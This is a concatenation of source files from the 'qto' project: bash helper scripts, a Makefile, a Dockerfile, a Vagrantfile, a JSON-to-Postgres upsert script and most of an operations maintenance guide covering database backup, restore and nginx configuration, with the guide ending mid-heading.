doHelpMorphDir comments ... # --------------------------------------------------------- doHelpMorphDir(){ do_log "DEBUG START doHelpMorphDir" cat doc/txt/qto/helps/morph-dir.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpMorphDir" } # eof func doHelpMorphDir # eof file: src/bash/qto/funcs/morph-dir.help.sh <file_sep>#!/bin/bash # --------------------------------------------------------- # stop any running morbo instances listenning on the wanted port # cat doc/txt/qto/funcs/mojo-morbo-stop.func.txt # --------------------------------------------------------- do_mojo_morbo_stop(){ export PATH=$PATH:~/perl5/bin/ export PERL5LIB=${PERL5LIB:-}:~/perl5/lib/perl5/:$PRODUCT_DIR/src/perl/qto/t/lib:$PRODUCT_DIR/src/perl/qto/public/lib:$PRODUCT_DIR/src/perl/qto/lib do_export_json_section_vars $PRODUCT_DIR/cnf/env/$ENV.env.json '.env.app' test -z "${MOJO_MORBO_PORT:-}" && export MOJO_MORBO_PORT=3001 while read -r listening_on_port_pid; do while read -r pid; do test $listening_on_port_pid -eq $pid && sudo kill -9 $pid done < <(sudo ps -ef| grep -i qto| grep -v grep|awk '{print $2}') done < <(lsof -i:${MOJO_MORBO_PORT:-} -t) echo start running ps -ef \| grep qto ps -ef | grep -i qto echo stop running ps -ef \| grep qto echo -e "\n" export exit_code=0 } <file_sep># Makefile # usage: run the "make" command in the root, than make <<cmd>>... include $(wildcard lib/make/*.mk) include $(wildcard src/make/*.mk) # get those from the env when in azure, otherwise get locally BUILD_NUMBER := $(if $(BUILD_NUMBER),$(BUILD_NUMBER),"0") COMMIT_SHA := $(if $(COMMIT_SHA),$(COMMIT_SHA),$$(git rev-parse --short HEAD)) COMMIT_MESSAGE := $(if $(COMMIT_MESSAGE),$(COMMIT_MESSAGE),$$(git log -1 --pretty='%s')) SHELL = bash PRODUCT := $(shell basename $$PWD) .PHONY: install ## install: install-devops # eof Makefile <file_sep># src/bash/qto/funcs/run-unit-tests.test.sh # v0.6.9 doTestRunUnitTests(){ do_log "DEBUG START doTestRununitTests" sleep "$sleep_interval" # Action !!! bash src/bash/qto/qto.sh -a run-unit-tests do_log "DEBUG STOP doTestRununitTests" } # eof file: src/bash/qto/funcs/run-unit-tests.test.sh <file_sep># src/bash/qto/funcs/log-test-run-entry.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestLogTestRunEntry comments ... # --------------------------------------------------------- doTestLogTestRunEntry(){ do_log "DEBUG START doTestLogTestRunEntry" cat doc/txt/qto/tests/log-test-run-entry.test.txt sleep "$sleep_interval" action_n='some-action-name' # should initialize the test run report do_logTestRunEntry 'INIT' do_logTestRunEntry 'START' # should register the test line start time do_logTestRunEntry 'INFO' ' '$(date "+%H:%M:%S") # should register the test line stop time do_logTestRunEntry 'INFO' ' '$(date "+%H:%M:%S") # should addd the name of the action to test do_logTestRunEntry 'INFO' ' '"$action_n" # should close the test run line do_logTestRunEntry 'STOP' 0 # should close and print the test run report do_logTestRunEntry 'STATUS' do_log "DEBUG STOP doTestLogTestRunEntry" } # eof func doTestLogTestRunEntry # eof file: src/bash/qto/funcs/log-test-run-entry.test.sh <file_sep># src/bash/qto/funcs/print-usage.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestPrintUsage comments ... # --------------------------------------------------------- doTestPrintUsage(){ do_log "DEBUG START doTestPrintUsage" cat doc/txt/qto/tests/print-usage.test.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doTestPrintUsage" } # eof func doTestPrintUsage # eof file: src/bash/qto/funcs/print-usage.test.sh <file_sep>FROM python:3.8.3-alpine ARG ENV ARG UID ARG GID ARG PRODUCT ARG TGT_ORG ENV PRODUCT=$PRODUCT ENV TGT_ORG=$TGT_ORG ENV APPUSR=appusr ENV APPGRP=appgrp ENV PS1="`date \"+%F %T\"` \u@\h \w \n\n " ENV PRODUCT_DIR="/opt/$PRODUCT" ENV EDITOR="vim" ENV ENV=$ENV ENV TERM="xterm-256color" VOLUME $PRODUCT_DIR # START ::: install bins RUN apk update && \ apk upgrade && \ apk add --no-cache \ bash binutils vim perl jq wget \ curl zip unzip busybox-extras \ su-exec sudo shadow net-tools \ build-base gcc openssl-dev git \ libmagic ttf-freefont make jq \ python3-dev jpeg-dev zlib-dev # STOP ::: install bins RUN pip install wheel # START ::: Enable host to container edit of proj code on ubuntu and mac. RUN test -z $(getent group $GID | cut -d: -f1) || \ groupmod -g $((GID+1000)) $(getent group $GID | cut -d: -f1) RUN set -x ; addgroup -g "$GID" -S "$APPGRP" && \ adduser \ --disabled-password \ -g "$GID" \ -D \ -s "/bin/bash" \ -h "/home/$APPUSR" \ -u "$UID" \ -G "$APPGRP" "$APPUSR" && exit 0 ; exit 1 RUN echo "$APPUSR ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers RUN echo "export PS1=\"$PS1\"" >> /home/$APPUSR/.bashrc USER $APPUSR ENV USER=$APPUSR ENV GROUP=$APPGRP # STOP ::: enable host to container edit of proj code on ubuntu and mac. ADD --chown=$APPUSR:$APPGRP "." "/home/$APPUSR$PRODUCT_DIR" # stop ::: adding OS APPUSER and APPGROUP USER $APPUSR WORKDIR $PRODUCT_DIR # install awscli RUN pip3 install --upgrade pip \ && pip3 install --no-cache-dir awscli \ && sudo rm -rf /var/cache/apk/* \ && sudo apk add aws-cli \ && aws --version # add project folder ADD --chown=$APPUSR:$APPGRP "." /home/$APPUSR$PRODUCT_DIR # but use the proj root dir to write the code on and interact WORKDIR $PRODUCT_DIR CMD exec /bin/bash -c "/home/$APPUSR/$PRODUCT_DIR/src/bash/run/docker-init-devops.sh" <file_sep>#!/usr/bin/env bash if [ \( "$1" = '--usage' \) -o \( "$1" = '' \) -o \( "$1" = '--help' \) ] then source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh do_flush_screen url='https://qto.fi:442/qto/select/monthly_issues_202005?oa=prio&with=app_users_guid-eq-02d16010-20af-4b0d-be86-cdf116a7d8c7' tgt_table='monthly_issues_202005' cat << EOF_PRINT_USAGE $0 Purpose: -------------------------------------------------------- upsert qto http json data to postgres db USAGE EXAMPLE: -------------------------------------------------------- url='https://qto.fi:442/qto/select/monthly_issues_202005' tgt_table=monthly_issues_202005 bash $0 \$url \$tgt_table EOF_PRINT_USAGE exit 1 fi #https://qto.fi:442/qto/select/monthly_issues_202005?oa=prio' | jq url=$(echo $1|perl -ne 's|\/list|/select|g;print') # copy list from browser but use select for data echo $url #curl -s -b ~/.qto/cookies.txt "$url" #sleep 3 export json_str=$(curl -s -b ~/.qto/cookies.txt "$url" | jq -r '.dat') export itm=$2 curl -s -b ~/.qto/cookies.txt "$url" | jq -r '.dat' echo $json_str IFS='' read -r -d '' perl_code <<"EOF_PERL_CODE" use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer;use Mojo::Template; use feature ':5.12'; my $json_var = decode_json($ENV{'json_str'}) ; my $itm = $ENV{'itm'}; #p $json_var ; my $col_lst = '('; my $val_lst = '('; my $upd_lst = ''; my $sql_lst = ''; foreach my $row (@$json_var){ #p $row ; foreach my $key (keys %$row) { my $cll = $row->{$key} ; $cll = '' if ($cll eq 'null' or !defined($cll)); $cll =~ s/'/''/g; $cll =~ s/\\n/\\\n/g; $col_lst .= $key . ', ' ; $upd_lst .= $key . ' = ' . "'" . $cll . "'" . ', '; $val_lst .= "'" . $cll . "'" . ', ' ; } $col_lst = substr($col_lst, 0,-2); $col_lst .= ')'; $upd_lst = substr($upd_lst, 0,-2); $val_lst = substr($val_lst, 0,-2); $val_lst .= ')'; $sql_lst .= "INSERT INTO $itm $col_lst VALUES $val_lst ON CONFLICT (id) DO UPDATE SET $upd_lst; "; $col_lst = '('; $val_lst = '('; $upd_lst = ''; } #p $col_lst ; #p $val_lst ; my $mt = Mojo::Template->new; say $mt->render(<<'EOF', $sql_lst, $col_lst,$val_lst, $upd_lst, $ENV{'col_lst_excluded'}); % my ($sql_lst, $col_lst, $val_lst, $upd_lst, $col_lst_excluded) = @_; <%= $sql_lst %> EOF EOF_PERL_CODE #echo $perl_code #echo eof perl_code sql_code=$(perl -e "$perl_code") echo $sql_code PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} \ --port $postgres_rdbms_port --host $postgres_rdbms_host -t -d ${postgres_app_db:-} \ -c "$sql_code" <file_sep># vi: set ft=ruby : ENV['VAGRANT_DEFAULT_PROVIDER'] = 'virtualbox' Vagrant.configure("2") do |config| # dev, tst and prd are separate vagrants config.vm.define "%ENV%-qto-vagrant" do |config| config.vm.hostname = "%ENV%-qto-vagrant" # use the latest ubuntu as a base config.vm.box = "generic/ubuntu1804" # disable updates to the configured box config.vm.box_check_update = false # dev, tst and prd could run on the same host if ip is changed ... # your mileage might vary ... config.vm.network "private_network", ip: "192.168.10.50" # open the the morbo dev web server ports for dev, tst and prd config.vm.network "forwarded_port", guest: %dev_mojo_morbo_port%, host: %dev_mojo_morbo_port% config.vm.network "forwarded_port", guest: %tst_mojo_morbo_port%, host: %tst_mojo_morbo_port% config.vm.network "forwarded_port", guest: %prd_mojo_morbo_port%, host: %prd_mojo_morbo_port% # open the the hypno prd web server ports for dev, tst and prd config.vm.network "forwarded_port", guest: %dev_mojo_hypnotoad_port%, host: %dev_mojo_hypnotoad_port% config.vm.network "forwarded_port", guest: %tst_mojo_hypnotoad_port%, host: %tst_mojo_hypnotoad_port% config.vm.network "forwarded_port", guest: %prd_mojo_hypnotoad_port%, host: %prd_mojo_hypnotoad_port% # the project dir will be visible from the vagrant @/home/vagrant/opt/qto config.vm.synced_folder "%product_base_dir%", "/home/vagrant/opt/" $script = <<-SCRIPT # run the bootstrap script and IMPORTANT !!! reload the bash shell bash /home/vagrant/opt/qto/src/bash/deployer/run.sh bash # go to the product instance dir cd /home/vagrant/opt source $(find . -name '.env') && cd qto/qto.$VERSION.$ENV.$USER # ensure application layer consistency, run db ddl's and load data from s3 bash ./src/bash/qto/qto.sh -a check-perl-syntax -a scramble-confs bash ./src/bash/qto/qto.sh -a provision-db-admin -a run-qto-db-ddl bash ./src/bash/qto/qto.sh -a load-db-data-from-s3 -a fix-db-permissions # start the web server ./src/bash/qto/qto.sh -a mojo-hypnotoad-start SCRIPT # and run the script config.vm.provision "shell", inline: $script, privileged: false end end <file_sep># MAINTENANCE GUIDE * [1. GUIDING PRINCIPLE'S](#1-guiding-principle's) * [1.1. PERSONAL RESPONSIBILITY](#11-personal-responsibility) * [2. RUN-TIMES STATES CHANGES](#2-run-times-states-changes) * [2.1. CHECK THE STATUS OF THE POSTGRESQL](#21-check-the-status-of-the-postgresql) * [2.2. STOP THE POSTGRESQL](#22-stop-the-postgresql) * [2.3. START THE POSTGRESQL](#23-start-the-postgresql) * [2.4. CHECK THE PORT ON WHICH IT IS LISTENING ](#24-check-the-port-on-which-it-is-listening-) * [2.5. CHECK THE POSTGRES STATUS](#25-check-the-postgres-status) * [2.6. APPLICATION LAYER RUN-STATE MANAGEMENT](#26-application-layer-run-state-management) * [2.6.1. Start the application layer](#261-start-the-application-layer) * [2.6.2. Stop the application layer](#262-stop-the-application-layer) * [2.6.3. Restart OS network service](#263-restart-os-network-service) * [2.7. SECURITY RELATED OPERATIONS](#27-security-related-operations) * [2.7.1. Add, modify and delete new users to the application](#271-add-modify-and-delete-new-users-to-the-application) * [2.7.2. Regular users visibility](#272-regular-users-visibility) * [3. MODIFY THE UI FROM THE DB DATA](#3-modify-the-ui-from-the-db-data) * [3.1. HIDE A COLUMN FROM THE LIST PAGE GLOBALLY FOR ALL USERS](#31-hide-a-column-from-the-list-page-globally-for-all-users) * [3.2. SET THE WIDTH OF AN ITEM COLUMN IN THE LISTING PAGE](#32-set-the-width-of-an-item-column-in-the-listing-page) * [3.3. ADD NEW FK DATA FOR THE DROP DOWNS IN THE LIST PAGE](#33-add-new-fk-data-for-the-drop-downs-in-the-list-page) * [4. BACKUP AND RESTORE PROJECTS DATA](#4-backup-and-restore-projects-data) * [4.1. BACKUP A DATABASE](#41-backup-a-database) * [4.2. LOAD DATABASE CONNECTIVITY CONFIGURATION SECURELY](#42-load-database-connectivity-configuration-securely) * [4.3. BACKUP A DATABASE TABLE](#43-backup-a-database-table) * [4.4. BACKUP ALL THE DATA FROM A REMOTE HOST TO LOCALHOST](#44-backup-all-the-data-from-a-remote-host-to-localhost) * [4.5. REMOVING OLD BACKUPS](#45-removing-old-backups) * [4.6. BACKUP ONLY THE DATABASE TABLES INSERT DATA](#46-backup-only-the-database-tables-insert-data) * [4.7. RESTORE A DATABASE](#47-restore-a-database) * [4.7.1. Restore a database from full database backup](#471-restore-a-database-from-full-database-backup) * [4.7.2. Restore a database from db inserts file](#472-restore-a-database-from-db-inserts-file) * [4.8. RESTORE A DATABASE TABLE](#48-restore-a-database-table) * [4.9. CREATE A FULL BACKUP OF AN INSTANCE SITE FROM A SATELLITE HOST](#49-create-a-full-backup-of-an-instance-site-from-a-satellite-host) * [4.10. BACKUP MULTIPLE EC2 SERVERS FROM THE SATELLITE HOST](#410-backup-multiple-ec2-servers-from-the-satellite-host) * [5. SHELL ACTIONS](#5-shell-actions) * [5.1. BACKUP DIRECTORIES WITH RSYNC](#51-backup-directories-with-rsync) * [5.2. LOAD XLS SHEET TO DB A DOC TABLE](#52-load-xls-sheet-to-db-a-doc-table) * [5.3. RUN INCREASE-DATE ACTION](#53-run-increase-date-action) * [6. NGINX CONFIGURATION](#6-nginx-configuration) * [6.1. THE NGINX PROVISIONING](#61-the-nginx-provisioning) * [6.2. APPLYING NEW NGINX CONFIGURATION](#62-applying-new-nginx-configuration) * [6.3. OPENING A MONTHLY PERIOD](#63-opening-a-monthly-period) * [6.4. CLOSING A MONTHLY PERIOD](#64-closing-a-monthly-period) * [7. BULK ISSUES MANAGEMENT](#7-bulk-issues-management) * [7.1. DIRS NAMING CONVENTIONS](#71-dirs-naming-conventions) * [7.2. PUBLISH THE RELEASE ISSUES](#72-publish-the-release-issues) * [8. NAMING CONVENTIONS](#8-naming-conventions) * [8.1. NAMING CONVENTIONS FOR DIRECTORIES](#81-naming-conventions-for-directories) * [8.2. ROOT DIRS NAMING CONVENTIONS](#82-root-dirs-naming-conventions) * [9. SOURCE CODE MANAGEMENT](#9-source-code-management) * [9.1. CONFIGURE AND USE GIT ALWAYS BY USING SSH IDENTITIES](#91-configure-and-use-git-always-by-using-ssh-identities) * [9.2. AIM FOR E2E TRACEABILITY](#92-aim-for-e2e-traceability) * [9.3. RESTART THE APPLICATION LAYER](#93-restart-the-application-layer) * [10. KNOWN ISSUES AND WORKAROUNDS](#10-known-issues-and-workarounds) * [10.1. MORBO IS STUCK](#101-morbo-is-stuck) * [10.1.1. Symptoms](#1011-symptoms) * [10.1.2. Probable root cause](#1012-probable-root-cause) * [10.1.3. Known solution and workaround](#1013-known-solution-and-workaround) * [10.2. NGINX PRESENTS HTTP 502](#102-nginx-presents-http-502) * [11. LINUX SYSTEM ADMINISTRATION](#11-linux-system-administration) * [11.1. CHECK OPEN FILE DESCRIPTORS](#111-check-open-file-descriptors) * [12. SECURITY](#12-security) * [12.1. CHECK THE LOGIN EVENTS ON A QTO INSTANCE](#121-check-the-login-events-on-a-qto-instance) ## 1. GUIDING PRINCIPLE'S This section might seem too philosophical for a start, yet all the development in the qto has ATTEMPTED to follow the principles described below. If you skip this section now you might later on wander many times why something works and it is implemented as it is ... and not "the right way". Of course you are free to not follow these principles, the less you follow them the smaller the possibility to pull features from your instance(s) - you could even use the existing functionality to create a totally different fork with different name and start developing your own toll with name X - the authors give you the means to do that with this tool ... , but if you want to use and contribute to THIS tool than you better help defined those leading principles and follow them. ### 1.1. Personal responsibility Any given instance of the qto should have ONE and only ONE person which is responsible at the end for the functioning of THE instance - so think carefully before attempting to take ownership of an instance. The author(s) of the code are not responsible for the operation, bugs or whatever happens to a new instance. As a responsible owner of an instance you could create, share and assign issues to the authors of the source code, yet there is no Service Level Agreement, not even promise to help. ## 2. RUN-TIMES STATES CHANGES ### 2.1. Check the status of the postgreSql To check the status of the postgreSql issue: sudo /etc/init.d/postgresql status ### 2.2. Stop the postgreSql To stop the postgreSql issues: sudo /etc/init.d/postgresql stop ### 2.3. Start the postgreSql To start the postgreSql issues: sudo /etc/init.d/postgresql start ### 2.4. Check the port on which it is listening To check the port on which it is listening issue: sudo netstat -tulntp | grep -i postgres # tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 8095/postgres ### 2.5. Check the postgres status Check the postgres status. Check the port to which the Postgres is running with this command: sudo /etc/init.d/postgresql status # restart if needed sudo /etc/init.d/postgresql restart # check on which ports it is runnning sudo netstat -plunt |grep postgres ### 2.6. Application Layer run-state management Remember to cd to the product instance dir you are going to work on for example: cd /vagrant/opt/csitea/qto/qto.0.6.5.dev.ysg All the examples below are assuming you've done that in advance. #### 2.6.1. Start the application layer To start the application layer in development mode use the morbo command ( debug output will be shown ) , to start it in production mode use the hypnotoad pattern # start hypnotoad ( does the stop as well ) bash src/bash/qto/qto.sh -a mojo-hypnotoad-start # start morbo bash src/bash/qto/qto.sh -a mojo-morbo-start #### 2.6.2. Stop the application layer To stop the application layer in development mode use the morbo command ( debug output will be shown ) , to start it in production mode use the hypnotoad pattern. Note that the morbo command does not stop any running morbo on OTHER product instance dir, but the hypnotoad does stop all - aka hypntotoad as the binary of production must be running only on 1 and only one instance on a host. # only stop hypno bash src/bash/qto/qto.sh -a mojo-hypnotoad-stop # only stop morbo bash src/bash/qto/qto.sh -a mojo-morbo-stop #### 2.6.3. Restart OS network service Sometimes you might just need to restart the whole network service on Ubuntu: sudo /etc/init.d/networking restart # or bash src/bash/qto/qto.sh -a restart-network # this one restarts the postgres as well ### 2.7. Security related operations There are 2 security modes of operations in qto: - none authenticative one ( no login , all can be changed by anyone ) - native authentication mode - the user credentials are stored per db #### 2.7.1. Add, modify and delete new users to the application You as the owner of the instance you are running must be aware that the requests to register to the instances you are operating will come via e-mail. Simply add, update and delete users in the users table and sent the password with prompt to edit it to the new user. #### 2.7.2. Regular users visibility Use the following http password generator: http://www.htaccesstools.com/htpasswd-generator/ ## 3. MODIFY THE UI FROM THE DB DATA Qto is data driven application - this means that certain element of the UI could be changed by changing certain data in the application ### 3.1. Hide a column from the list page globally for all users Open the app_item_attributes table, type the item's table_name and the column_name, type 1 in the ski_in_list column. ### 3.2. Set the width of an item column in the listing page Open the app_item_attributes table, type the item's table_name and the column_name, type a desired number for the width ( 60 might be good default to start experimenting with) ### 3.3. Add new FK data for the drop downs in the list page Locate the primary key table which holds the FK data from the listed item you want to modify the drop down data to. Add new rows in this table, the new rows will be visible straight away in the UI, and if not - the users should logout and login to clear their localStorage. Note, that some browsers do not show properly most the dropdown select's scrollbars if more than 12 items are contained in the select - aka the users should scroll till the end of the dropdown to see the full list of items ... ## 4. BACKUP AND RESTORE PROJECTS DATA You could easily add those commands to your crontab for scheduled execution - remember to add the absolution patch of the qto.sh entry script. Anything you perform as shell action in qto could be applied not only to the current product instance dir, but also any other project instance dir, which has a directory structure, which is compatible with the current qto product. ### 4.1. Backup a database You backup a database ( all the objects, app_roles and data ) with the following one-liner. # obs you must have the shell vars preloaded !!! Note dev, tst or prd instances ! # clear; doParseCnfEnvVars cnf/qto.prd.host-name.cnf bash src/bash/qto/qto.sh -a backup-postgres-db ### 4.2. Load database connectivity configuration securely Qto provides you with the means and tools to work on tens of databases, yet one at the time. Thus once you open a shell to run the tools you must have the connectivity to the database you want to work on. source lib/bash/funcs/export-json-section-vars.sh # optionally use a different project than the current product instance dir export PROJ_INSTANCE_DIR=/hos/opt/kone/kone-qto # optionally use a differnt configuration file for this proj instance dir export PROJ_CONF_FILE=/hos/opt/org/org-qto/cnf/env/tst.env.json # load the env vars from this project doExportJsonSectionVars $PROJ_CONF_FILE '.env.db' # set the psql with the correct credentials valid ONLY for this proj alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} --port $postgres_rdbms_port --host $postgres_rdbms_host" # now you can run any psql psql -d my_db -c "\dl" ### 4.3. Backup a database table You backup a database table with the following one-liner. Noe # obs you have to have the shell vars preloaded !!! # clear; doParseCnfEnvVars <<path-to-cnf-file>> bash src/bash/qto/qto.sh -a backup-postgres-table -t my_table ### 4.4. Backup all the data from a remote host to localhost Storage is cheap - human time is expensive - this the principle according to which the backup ideology of qto has been build upon ... and for now it is working ... Because of the naming convention of the product instance directories you will never overwrite a local directory with the remote directories and always keep track of what where is. So provided that you have configured an ssh key to access you remote server you would issue the following one-liner which will replicate the remote structure on the remote host on the localhost ... export ssh_server=qto.fi export ssh_user=ubuntu export src_dir=/home/ubuntu/opt/qto/ export tgt_dir=/hos/opt/ rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.aws-ec2.qto.prd" -av -r --partial --progress --human-readable \ --stats $ssh_user@$ssh_server:$src_dir $tgt_dir ### 4.5. Removing old backups Because of the naming convention removing backups requires as little effort as: # check what where is in the localhost find /hos/opt/qto -type d -maxdepth 1 -mindepth 1 | sort -nr | less # remove ALL dirs an files belonging to v0.8.1, as we are now in v0.8.4 rm -r /hos/opt/qto/qto.0.8.1* # and verify find /hos/opt/qto -type d -maxdepth 1 -mindepth 1 | sort -nr | less # remove ALL dirs an files belonging to v0.8.2, as we are now in v0.8.4 rm -r /hos/opt/qto/qto.0.8.2* # and verify find /hos/opt/qto -type d -maxdepth 1 -mindepth 1 | sort -nr | less ### 4.6. Backup only the database tables insert data # obs you have to have the shell vars preloaded !!! bash src/bash/qto/qto.sh -a backup-postgres-db-inserts ### 4.7. Restore a database You restore a database by first running the pgsql scripts of the project database and than restoring the insert data psql -d $postgres_app_db < \ dat/mix/sql/pgsql/dbdumps/dev_qto/dev_qto.20180813_202202.insrt.dmp.sql #### 4.7.1. Restore a database from full database backup You restore a database by basically creating first the empty database and applying the dump file to that database. Practice this several times in dev before going to tst !!! # if you DO HAVE THE DB - probably not a bad idea to first backup it !!! # bash src/bash/qto/qto.sh -a backup-postgres-db # psql -d postgres -c "CREATE DATABASE dev_qto;" # drop it if it was there ... # psql -d postgres -c "DROP DATABASE dev_qto;" # create the db psql -d postgres -c "CREATE DATABASE dev_qto;" psql -d dev_qto < dat/mix/2020/2020-01/2020-01-11/sql/tst_qto/tst_qto.20200111_195947.full.dmp.sql #### 4.7.2. Restore a database from db inserts file This type of restore assumes you are 100% sure that the schema you took the db inserts backup from is the same as the schema you are applying the db inserts to, which should be the case when you are restoring data from the same qto version db. In qto we do not believe in migrations, which is a totally different discussion, but if you do not have the same schema you WILL HAVE errors and you ARE basically on your own, because you ended-up here by basically NOT taking regularly backups and not applying regular updates and that is YOUR fault and not the fault of the product instance owner you are getting the qto source from .... # if you DO HAVE THE DB - probably not a bad idea to first backup it !!! # bash src/bash/qto/qto.sh -a backup-postgres-db # psql -d postgres -c "CREATE DATABASE dev_qto;" # drop it if it was there ... # psql -d postgres -c "DROP DATABASE dev_qto;" bash src/bash/qto/qto.sh -a run-qto-db-ddl psql -d $postgres_app_db < \ dat/mix/sql/pgsql/dbdumps/dev_qto/dev_qto.20180813_202202.insrt.dmp.sql ### 4.8. Restore a database table You restore a database table by first running the pgsql scripts of the project database or ONLY for that table and than restoring the insert data from the table insert file. # re-apply the table ddl psql -d $postgres_app_db < src/sql/pgsql/dev_qto/13.create-table-requirements.sql ### 4.9. Create a full backup of an instance site from a satellite host Once an instance site is up-and-running - it might be a good idea to create a full-backup of the site's instance data, software and configuration: - full backup the postgres - both DDL and DML's - ensure the cnf/env/&lt;&lt;env&gt;&gt;.json is part of the met/.&lt;&lt;env&gt;&gt;.qto meta list file - add the DML and DDL dump files to the met/.&lt;&lt;env&gt;&gt;.qto meta list file - create a relative or full package zip file - rename it to reflect the fact that this file contains a full backup file # full backup the postgres - both DDL and DML's ./src/bash/qto/qto.sh -a backup-postgres-db ./src/bash/qto/qto.sh -a backup-postgres-db-inserts # ensure the cnf/env/<<env>>.json is part of the met/.<<env>>.qto meta list file # vim met/.<<env>>.qto # add the DML and DDL dump files to the met/.<<env>>.qto meta list file, for example : echo dat/mix/2020/2020-03/2020-03-22/sql/prd_qto/prd_qto.20200322_123449.full.dmp.sql >> met/.tst.qto echo dat/mix/2020/2020-03/2020-03-22/sql/prd_qto/prd_qto.20200322_123633.insrts.dmp.sql >> met/.prd.qto # create a relative or full package zip file ./src/bash/qto/qto.sh -a create-relative-package # rename it to reflect the fact that this file contains a full backup file mv -v ../qto.0.8.1.prd.20200322_122924.ip-10-0-44-231.rel.zip ../qto.0.8.1.prd-fb.20200322_122924.ip-10-0-44-231.rel.zip ### 4.10. Backup multiple ec2 servers from the satellite host The user@host notation in the $PRODUCT_OWNER part ensures that each product instance dir WILL have an unique path even if they are moved between the different qto hosts: #set the variables export ssh_server=qto.fi export ssh_user=ubuntu export src_dir=/home/ubuntu/opt/qto # on the satellite host export tgt_dir=/hos/opt/opt # on the ssh-server # copy all from src_dir on the ssh server to the tgt dir on the satellite host rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.aws-ec2.qto.prd" -av -r --partial --progress --human-readable \ --stats $ssh_user@$ssh_server:$src_dir $tgt_dir # and verify clear ; find /hos/opt/qto -type d -maxdepth 0|sort -nr| less # result could look something like /hos/opt/qto/qto.0.8.3.dev.ysg@host-name /hos/opt/qto/[email protected]_210320 /hos/opt/qto/qto.0.8.2.tst.ysg@host-name /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/[email protected]_210300 /hos/opt/qto/qto.0.8.2.prd.ysg@host-name /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/qto.0.8.2.dev.ysg@host-name /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/[email protected] /hos/opt/qto/qto.0.8.1.<EMAIL> ## 5. SHELL ACTIONS ### 5.1. Backup directories with rsync You can backup whole directories from remote to local via ssh with the following setup and naming conventions: on the local design for each remote a different product owner export ssh_server=qto.fi export ssh_user=ubuntu export src_dir=/home/ubuntu/opt/qto export tgt_dir=/hos/opt/opt # incremental backuip rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.aws-ec2.qto.prd" -av -r --partial --progress --human-readable \ --stats $ssh_user@$ssh_server:$src_dir $tgt_dir clear ; find /hos/opt/qto -type d -maxdepth 1|sort -nr| less # single backup rsync -e "ssh -l USERID -i ~/.ssh/id_rsa.aws-ec2.qto.prd" -av -r --partial --progress --human-readable \ --stats --delete-excluded ubuntu@$ssh_server:$src_dir $tgt_dir ### 5.2. Load xls sheet to db a doc table To load xls issues to db and from db to txt files export do_truncate_tables=0 ; clear ; perl src/perl/qto/script/qto.pl --do xls-to-db --tables requirements_doc # check that the rows where inserted psql -d dev_qto -c "SELECT * FROM requirements_doc;" ### 5.3. Run increase-date action You track the issues of your projects by storing them into xls files in "daily" proj_txt dirs. Each time the day changes by running the increase-date action you will be able to clone the data of the previous date and start working on the current date. bash src/bash/qto/qto.sh -a increase-date ## 6. NGINX CONFIGURATION This section contains ### 6.1. The nginx provisioning Anytime you change the ngix configuration and confirm that the change is beneficial for the overall setup you must add the change to the provisioning code - aka to the branch. # this is the main nginx.conf cnf/nginx/etc/nginx/nginx.conf cnf/nginx/ cnf/nginx/etc cnf/nginx/etc/nginx cnf/nginx/etc/nginx/sites-available cnf/nginx/etc/nginx/sites-available/tst.localhost.cnf cnf/nginx/etc/nginx/sites-available/prd.localhost.cnf cnf/nginx/etc/nginx/sites-available/dev.localhost.cnf cnf/nginx/etc/nginx/sites-available/%env%.http-site.conf cnf/nginx/etc/nginx/sites-available/%env%.https-site.conf ### 6.2. Applying new nginx configuration To apply new configuration ensure the following: - are you on a PRODUCTION server ?!!! What will happen if the configuration is totally messed -up # sudo nginx -c /etc/nginx/nginx.conf -t # clear ; sudo service nginx restart ; sudo service nginx status # if all is ok make a backup sudo cp -v /etc/nginx/nginx.conf cnf/nginx/etc/nginx/nginx.conf.$(date "+%Y%m%d_%H%M%S").bak sudo cp -v /etc/nginx/nginx.conf cnf/nginx/etc/nginx/nginx.conf # if errors , troubleshoot sudo journalctl -xe | less ### 6.3. Opening a monthly period Each monthly period is basically a table with the naming convention monthly_issues_YYYYMM for example the monthly period for the year 2020 January will be the monthly_issues_202001. To create the table you need to basically copy the monthly_issues table to the one with the period at the end and replace the monthly issues with the monthly_issues_&lt;&lt;yyyymm&gt;&gt; string and run the table as follows. # copy the table cp -v src/sql/pgsql/qto/tables/03.create-table-monthly_issues.sql \ src/sql/pgsql/qto/tables/2020/2020-01/create-table-monthly_issues_202001.sql # source the env vars loading func source lib/bash/funcs/export-json-section-vars.sh # load the env vars doExportJsonSectionVars cnf/env/dev.env.json '.env.db' psql -d dev_qto < src/sql/pgsql/qto/tables/2020/2020-01/create-table-monthly_issues_202001.sql # generate the sql for moving the data between the two tables bash src/tpl/psql-code-generator/psql-code-generator.sh tst_qto monthly_issues monthly_issues_202001 ### 6.4. Closing a monthly period Closing a monthly period would simply mean to ensure that all the done issues will be moved to the release_issues table an those marked with the '09-done' and '04-diss' status are removed AFTER they have been "copied" aka upserted to the yearly_issues_&lt;&lt;yyyyy&gt;&gt; and monthly_issues_&lt;&lt;yyyymm&gt;&gt; table of the previous month. source lib/bash/funcs/export-json-section-vars.sh doExportJsonSectionVars cnf/env/tst.env.json '.env.db' alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} --port $postgres_rdbms_port --host $postgres_rdbms_host" psql -d tst_qto -c "delete from monthly_issues_202004 where issues_status_guid = 'e486d2d7-0789-4af2-8466-9b8c03743d85';" clear ; history | cut -c 8- ## 7. BULK 